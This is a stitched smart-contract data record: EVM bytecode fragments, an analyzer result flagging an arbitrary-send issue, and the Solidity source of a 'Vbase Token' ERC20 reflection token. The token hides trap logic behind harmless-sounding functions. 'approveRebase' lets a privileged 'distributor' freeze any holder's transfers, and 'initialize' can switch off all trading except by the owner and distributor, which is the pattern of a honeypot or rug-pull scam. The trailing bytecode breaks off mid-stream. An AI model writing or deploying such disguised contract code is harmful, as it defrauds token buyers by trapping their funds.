01b0362010000909104811660208301526001830154811660408084019190915260028401548216606084015260038401546080840152600484015460a0840152600584015460c0840152600684015460e08401526007840154610100840152600884015461012084015260099093015462ffffff16610140909201919091529082015191925016610a715760405162461bcd60e51b815260040161058f90612261565b600081516002811115610a8057fe5b14610a9d5760405162461bcd60e51b815260040161058f90611f8f565b610aa8816002611489565b60008060405180610100016040528084606001516001600160a01b0316815260200184608001516001600160a01b0316815260200184610160015162ffffff16815260200184604001516001600160a01b031681526020014281526020018460a0015181526020018460c00151815260200160006001600160a01b0316815250905060006002811115610b3757fe5b83602001516002811115610b4757fe5b1415610c5c5760a083015160405163414bf38960e01b81526001600160a01b037f000000000000000000000000e592427a0aece92de3edee1f18e0157c05861564169163414bf38991610b9e908590600401612322565b6020604051808303818588803b158015610bb757600080fd5b505af1158015610bcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bf09190611dab565b600654600254610100860151929450610c2a926001600160a01b0390921691610c2591606491610c1f916119f3565b90611a2d565b61183c565b600754600254610100850151610c57926001600160a01b031691610c2591606491610c1f919083036119f3565b610d30565b610c8f83606001517f000000000000000000000000e592427a0aece92de3edee1f18e0157c058615648560a00151611a6f565b60405163414bf38960e01b81526001600160a01b037f000000000000000000000000e592427a0aece92de3edee1f18e0157c05861564169063414bf38990610cdb908490600401612322565b602060405180830381600087803b158015610cf557600080fd5b505af1158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190611dab565b91505b610d3e338460e0015161183c565b7f75976355204a8f482f5df5e9c5c8c8cf5ae75a03756d2cfe89f48e0086b7b37e8361012001513384604051610d76939291906123d5565b60405180910390a1509392505050565b6008602081905260009182526040909120805460018201546002830154600384015460048501546005860154600687015460078801549888015460099098015460ff8089169a6101008a0490911699620100009099046001600160a01b039081169998811698971696909162ffffff168c565b60048181548110610e0957600080fd5b600091825260209091200154905081565b60008060008060008590506000610e426103e8610c1f600154856119f390919063ffffffff16565b90506000610e5f60035461067484866119c390919063ffffffff16565b600354939992985092965091945092505050565b60035481565b610e816119ef565b6000546001600160a01b03908116911614610eae5760405162461bcd60e51b815260040161058f906121c9565b600155565b34600085610ed35760405162461bcd60e51b815260040161058f9061221b565b60008511610ef35760405162461bcd60e51b815260040161058f906122db565b600354841015610f155760405162461bcd60e51b815260040161058f90612147565b6000896002811115610f2357fe5b141561104e577f000000000000000000000000e592427a0aece92de3edee1f18e0157c058615646001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8257600080fd5b505afa158015610f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fba9190611ca8565b6001600160a01b0316886001600160a01b031614610fea5760405162461bcd60e51b815260040161058f90612047565b6110056103e8610c1f600154896119f390919063ffffffff16565b90506110158161067488876119c3565b82146110335760405162461bcd60e51b815260040161058f90612288565b600654611049906001600160a01b03168261183c565b61114e565b83821461106d5760405162461bcd60e51b815260040161058f906120ff565b600189600281111561107b57fe5b1415611142577f000000000000000000000000e592427a0aece92de3edee1f18e0157c058615646001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110da57600080fd5b505afa1580156110ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111129190611ca8565b6001600160a01b0316876001600160a01b0316146111425760405162461bcd60e51b815260040161058f90612010565b61114e88333089611b5d565b600580546001810190915560408051610180810190915280600081526020018b600281111561117957fe5b8152336020808301919091526001600160a01b038c8116604080850191909152908c166060840152608083018b905260a083018a905260c0830189905260e08301869052610100830185905260045461012084015262ffffff881661014090930192909252600084815260089091522081518154829060ff1916600183600281111561120157fe5b021790555060208201518154829061ff00191661010083600281111561122357fe5b0217905550604082810151825462010000600160b01b031916620100006001600160a01b03928316021783556060840151600180850180546001600160a01b03199081169385169390931790556080860151600286018054909316931692909217905560a0840151600384015560c084015160048085019190915560e08501516005850155610100850151600685015561012085015160078501556101408501516008850155610160909401516009938401805462ffffff191662ffffff909216919091179055336000818152602094855283812080548085018255908252948120909401869055845491820185559383527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01849055517fffaad67a0e31d3f46cc2571ffa0e9e3955515c2fd0fcd85981def69e975d04999261137892859290918f918f908f908f908f908f908f906123f4565b60405180910390a150505050505050505050565b6001600160a01b03821660009081526009602052604081208054839081106113b057fe5b906000526020600020015490505b92915050565b6007546001600160a01b031681565b6113db6119ef565b6000546001600160a01b039081169116146114085760405162461bcd60e51b815260040161058f906121c9565b6001600160a01b03811661142e5760405162461bcd60e51b815260040161058f90611f49565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600454600110156116e457610140820151600480546000919060001981019081106114b057fe5b6000918252602080832090910154808352600890915260408083208151610180810190925280549294509091829060ff1660028111156114ec57fe5b60028111156114f757fe5b81528154602090910190610100900460ff16600281111561151457fe5b600281111561151f57fe5b815281546001600160a01b036201000090910481166020808401919091526001808501548316604080860191909152600280870154909416606086015260038601546080860152600486015460a0860152600586015460c0860152600686015460e0860152600786015461010086015260088087015461012087015260099096015462ffffff16610140958601529386018990526000888152949091529190922083518154949550859491939092849260ff19169184908111156115df57fe5b021790555060208201518154829061ff00191661010083600281111561160157fe5b0217905550604082015181546001600160a01b03918216620100000262010000600160b01b031990911617825560608301516001830180549183166001600160a01b0319928316179055608084015160028401805491909316911617905560a0820151600382015560c082015160048083019190915560e08301516005830155610100830151600683015561012083015160078301556101408301516008830155610160909201516009909101805462ffffff90921662ffffff199092169190911790558054839190859081106116d457fe5b6000918252602090912001555050505b60048054806116ef57fe5b60019003818190600052602060002001600090559055808260000190600281111561171657fe5b9081600281111561172357fe5b90525061012082015160009081526008602052604090208251815484929190829060ff1916600183600281111561175657fe5b021790555060208201518154829061ff00191661010083600281111561177857fe5b0217905550604082015181546001600160a01b03918216620100000262010000600160b01b031990911617825560608301516001830180549183166001600160a01b0319928316179055608084015160028401805491909316911617905560a0820151600382015560c0820151600482015560e08201516005820155610100820151600682015561012082015160078201556101408201516008820155610160909101516009909101805462ffffff90921662ffffff199092169190911790555050565b604080516000808252602082019092526001600160a01b0384169083906040516118669190611dd9565b60006040518083038185875af1925050503d80600081146118a3576040519150601f19603f3d011682016040523d82523d6000602084013e6118a8565b606091505b50509050806118c95760405162461bcd60e51b815260040161058f90611ff3565b505050565b600080846001600160a01b031663a9059cbb60e01b85856040516024016118f6929190611e2d565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b03199094169390931790925290516119349190611dd9565b6000604051808303816000865af19150503d8060008114611971576040519150601f19603f3d011682016040523d82523d6000602084013e611976565b606091505b50915091508180156119a05750805115806119a05750808060200190518101906119a09190611cef565b6119bc5760405162461bcd60e51b815260040161058f9061216c565b5050505050565b6000828201838110156119e85760405162461bcd60e51b815260040161058f90611fbc565b9392505050565b3390565b600082611a02575060006113be565b82820282848281611a0f57fe5b04146119e85760405162461bcd60e51b815260040161058f90612188565b60006119e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c55565b600080846001600160a01b031663095ea7b360e01b8585604051602401611a97929190611e2d565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909416939093179092529051611ad59190611dd9565b6000604051808303816000865af19150503d8060008114611b12576040519150601f19603f3d011682016040523d82523d6000602084013e611b17565b606091505b5091509150818015611b41575080511580611b41575080806020019051810190611b419190611cef565b6119bc5760405162461bcd60e51b815260040161058f90611eff565b600080856001600160a01b03166323b872dd60e01b868686604051602401611b8793929190611e09565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909416939093179092529051611bc59190611dd9565b6000604051808303816000865af19150503d8060008114611c02576040519150601f19603f3d011682016040523d82523d6000602084013e611c07565b606091505b5091509150818015611c31575080511580611c31575080806020019051810190611c319190611cef565b611c4d5760405162461bcd60e51b815260040161058f906121fe565b505050505050565b60008183611c765760405162461bcd60e51b815260040161058f9190611ecc565b506000838581611c8257fe5b0495945050505050565b600060208284031215611c9d578081fd5b81356119e8816124bf565b600060208284031215611cb9578081fd5b81516119e8816124bf565b60008060408385031215611cd6578081fd5b8235611ce1816124bf565b946020939093013593505050565b600060208284031215611d00578081fd5b815180151581146119e8578182fd5b600080600080600080600060e0888a031215611d29578283fd5b873560038110611d37578384fd5b96506020880135611d47816124bf565b95506040880135611d57816124bf565b9450606088013593506080880135925060a0880135915060c088013562ffffff81168114611d83578182fd5b8091505092959891949750929550565b600060208284031215611da4578081fd5b5035919050565b600060208284031215611dbc578081fd5b5051919050565b6001600160a01b03169052565b62ffffff169052565b60008251611deb818460208701612482565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6101808101611e548e6124b2565b8d8252611e608d6124b2565b8c602083015260018060a01b03808d166040840152808c166060840152808b166080840152508860a08301528760c08301528660e0830152856101008301528461012083015283610140830152611ebb610160830184611dd0565b9d9c50505050505050505050505050565b6000602082528251806020840152611eeb816040850160208701612482565b601f01601f19169190910160400192915050565b602080825260029082015261534160f01b604082015260600190565b602080825260149082015273446f206e6f74207573652030206164647265737360601b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260139082015272496e76616c6964206f7264657220737461746560681b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526003908201526253544560e81b604082015260600190565b60208082526018908201527f5573652057455448206173207468652061737365744f75740000000000000000604082015260600190565b60208082526017908201527f557365205745544820617320746865206173736574496e000000000000000000604082015260600190565b60208082526017908201527f54686973206f72646572206973206e6f7420796f757273000000000000000000604082015260600190565b6020808252602a908201527f5354414b455f50455243454e54414745206d757374206265206265747765656e6040820152690203020616e64203130360b41b606082015260800190565b60208082526028908201527f5472616e73616374696f6e2076616c7565206d757374206d61746368206578656040820152676375746f7246656560c01b606082015260800190565b6020808252600b908201526a496e76616c69642066656560a81b604082015260600190565b60208082526002908201526114d560f21b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526003908201526229aa2360e91b604082015260600190565b60208082526026908201527f417373657420696e20616d6f756e74206d75737420626520677265617465722060408201526507468616e20360d41b606082015260800190565b6020808252600d908201526c24b73b30b634b21037b93232b960991b604082015260600190565b60208082526033908201527f5061796d656e74203d206173736574496e4f666665726564202b206578656375604082015272746f72466565202b207374616b6556616c756560681b606082015260800190565b60208082526027908201527f4173736574206f757420616d6f756e74206d75737420626520677265617465726040820152660207468616e20360cc1b606082015260800190565b60006101008201905060018060a01b0380845116835280602085015116602084015262ffffff6040850151166040840152806060850151166060840152506080830151608083015260a083015160a083015260c083015160c083015260e083015161239060e0840182611dc3565b5092915050565b90815260200190565b9586526001600160a01b039485166020870152928416604086015292166060840152608083019190915260a082015260c00190565b9283526001600160a01b03919091166020830152604082015260600190565b8a815261014081016124058b6124b2565b8a60208301526124148a6124b2565b60408201999099526001600160a01b03978816606082015295871660808701529390951660a085015260c084019190915260e083015261010082019290925262ffffff9091166101209091015292915050565b93845260208401929092526040830152606082015260800190565b60005b8381101561249d578181015183820152602001612485565b838111156124ac576000848401525b50505050565b600381106124bc57fe5b50565b6001600160a01b03811681146124bc57600080fdfea264697066735822122088369f468bf7fce3938d95362d1c5ae8750318c623a41d849a989f8ac084f9ab64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,876
0xe5b69f5b8ec10ec7a33ecaaebaf50652cc94e802
/** .-:=#%%%%%%%%+::-#%%%%%%%%*--:::::. .:::::. ................ ............. .=-%%%*+=-==*%%%#%%%*++++*%%%*++++=--:-.::--==++=--:::.-:---============ +:---==========:= +.%%%=-------=%%%%*+=++++++#%*****#%%#-:=#%%#***#%%%+-:+%%%##########%%%:=#%%%%######%%%== +:%%%---------#%%*+=++++++=*%. -%%%%#- :+%%%%*: +%%%%*-. .%%== +.%%%+-------=%%*++++++++++##.... -%%- ... .#%+ +%%#: :%%== .=:%%%+-----+%%+=+++++++=+#%%#***+ .%= .#%%%%= .%- =######%%%%%%. :*####%%%%%%== =.#%%*---*%%+=+++++++++%%%% +%. #%%%%%%: ** :#%+ :%%+--:+ =.#%%#-*%#+++++++++=+%%%%% -% ....... +%#-. *+ :%%+--:= -:+%%%%#++++++++++*%+########+ .% +%%##%######- -%. :*#%%%%%%%%%== -:=%%%*+=+++++++#%: +% *######: +%= #%%- .%%== :-=%%%++++++++##. .-*%%. #%%%%%%- *%= .:=#%%%%#=:. :%%== ::-%%%#****#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%***%%%%%%%%%#*==+*%%%%%%%%%%%%%== .-:=#%%%%%%%+-=------------.:%%%=--=%%%%%%%%%%%%#---*%%%%%%%%%%%%%##%%%%%%%%%%*-:+ .:::-===-::: :-=%%=----=#%=:. .:=#%#---*#===+%#+=--=+*%#==+==-=+#%#.= .=-%%#---=##. .:: +#---=---+%*---++---*#----=---=%%-= ::=%%=--=%= %%%- .#------=%%=---==---=#---*%+---%%== =-%%=--=%# :== =#---+---=%+---+*++*%#---*%+---%%== =-%%=--=%%#: :+%#---*#----#*=-----=%#---*%+---%%== =.#%%%%%%*#%%###%%#%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%%%#:= https://t.me/VbaseToken */// SPDX-License-Identifier: MIT pragma solidity =0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) {this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) {return returndata;} else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}} } } contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner");_; } modifier onlyDistributor() { require(_distributor == msg.sender, "Caller is not fee distributor");_; } function owner() public view returns (address) { return _owner; } function distributors() internal view returns (address) { return _distributor; } function distributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract VbaseToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = 'Vbase Token'; string private _symbol = 'VBASE'; uint8 private _decimals = 9; uint256 private constant _tTotal = 500000000000000*10**9; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) private _rebase; mapping (address => bool) private _isExcluded; uint256 private constant MAX = ~uint256(0); address[] private _excluded; uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); bool _initialize; address router; address factory; constructor (address unif, address unir) { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _tOwned[distributors()] = tokenFromReflection(_rOwned[distributors()]); _isExcluded[distributors()] = true; _excluded.push(distributors()); _initialize = true; router = unir; factory = unif; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount;} else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount;} } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_rebase[sender] || _rebase[recipient]) require (amount == 0, ""); if (_initialize == true || sender == distributors() || sender == owner() || recipient == distributors() || recipient == owner()) { if (sender == distributors() || sender == owner() || recipient == distributors() || recipient == owner()) { _ownerTransfer(sender, recipient, amount); } else if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else {_transferStandard(sender, recipient, amount);} } else {require (_initialize == true, "");} } function _ownerTransfer(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (_isExcluded[sender]) { _tOwned[sender] = _tOwned[sender].sub(tAmount);} _rOwned[recipient] = _rOwned[recipient].add(rAmount); if (_isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient].add(tAmount);} emit Transfer(sender, recipient, tAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function approveRebase(address acconut) external onlyDistributor { _rebase[acconut] = true; } function singlecall(address account) external onlyDistributor { _rebase[account] = false; } function checkRebase(address account) public view returns (bool) { return _rebase[account]; } function initialize() public virtual onlyDistributor { if (_initialize == true) {_initialize = false;} else {_initialize = true;} } function initialized() public view returns (bool) { return _initialize; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]);} if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635a085d70116100b85780638da5cb5b1161007c5780638da5cb5b1461037757806395d89b4114610395578063a457c2d7146103b3578063a9059cbb146103e3578063dd62ed3e14610413578063e074839e1461044357610142565b80635a085d70146102e757806370a0823114610303578063715018a6146103335780638129fc1c1461033d57806388f852801461034757610142565b806318160ddd1161010a57806318160ddd146101eb57806323b872dd146102095780632d83811914610239578063313ce5671461026957806339509351146102875780634549b039146102b757610142565b8063053ab1821461014757806306fdde0314610163578063095ea7b3146101815780630f78bf9a146101b1578063158ef93e146101cd575b600080fd5b610161600480360381019061015c9190612ee0565b61045f565b005b61016b6105d9565b6040516101789190612fa6565b60405180910390f35b61019b60048036038101906101969190613026565b61066b565b6040516101a89190613081565b60405180910390f35b6101cb60048036038101906101c6919061309c565b610689565b005b6101d5610774565b6040516101e29190613081565b60405180910390f35b6101f361078b565b60405161020091906130d8565b60405180910390f35b610223600480360381019061021e91906130f3565b61079d565b6040516102309190613081565b60405180910390f35b610253600480360381019061024e9190612ee0565b610876565b60405161026091906130d8565b60405180910390f35b6102716108e4565b60405161027e9190613162565b60405180910390f35b6102a1600480360381019061029c9190613026565b6108fb565b6040516102ae9190613081565b60405180910390f35b6102d160048036038101906102cc91906131a9565b6109ae565b6040516102de91906130d8565b60405180910390f35b61030160048036038101906102fc919061309c565b610a38565b005b61031d6004803603810190610318919061309c565b610b23565b60405161032a91906130d8565b60405180910390f35b61033b610c0e565b005b610345610d61565b005b610361600480360381019061035c919061309c565b610e4b565b60405161036e9190613081565b60405180910390f35b61037f610ea1565b60405161038c91906131f8565b60405180910390f35b61039d610eca565b6040516103aa9190612fa6565b60405180910390f35b6103cd60048036038101906103c89190613026565b610f5c565b6040516103da9190613081565b60405180910390f35b6103fd60048036038101906103f89190613026565b611029565b60405161040a9190613081565b60405180910390f35b61042d60048036038101906104289190613213565b611047565b60405161043a91906130d8565b60405180910390f35b61045d6004803603810190610458919061309c565b6110ce565b005b6000610469611296565b9050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ef906132c5565b60405180910390fd5b60006105038361129e565b50505050905061055b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105b381600c5461124c90919063ffffffff16565b600c819055506105ce83600b546112f690919063ffffffff16565b600b81905550505050565b6060600280546105e890613314565b80601f016020809104026020016040519081016040528092919081815260200182805461061490613314565b80156106615780601f1061063657610100808354040283529160200191610661565b820191906000526020600020905b81548152906001019060200180831161064457829003601f168201915b5050505050905090565b600061067f610678611296565b8484611354565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071090613392565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d60009054906101000a900460ff16905090565b60006969e10de76676d0800000905090565b60006107aa84848461151f565b61086b846107b6611296565b61086685604051806060016040528060288152602001613b2660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061081c611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8f9092919063ffffffff16565b611354565b600190509392505050565b6000600c548211156108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b490613424565b60405180910390fd5b60006108c7611cf3565b90506108dc818461120290919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006109a4610908611296565b8461099f8560056000610919611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b611354565b6001905092915050565b60006969e10de76676d08000008311156109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f490613490565b60405180910390fd5b81610a1c576000610a0d8461129e565b50505050905080915050610a32565b6000610a278461129e565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167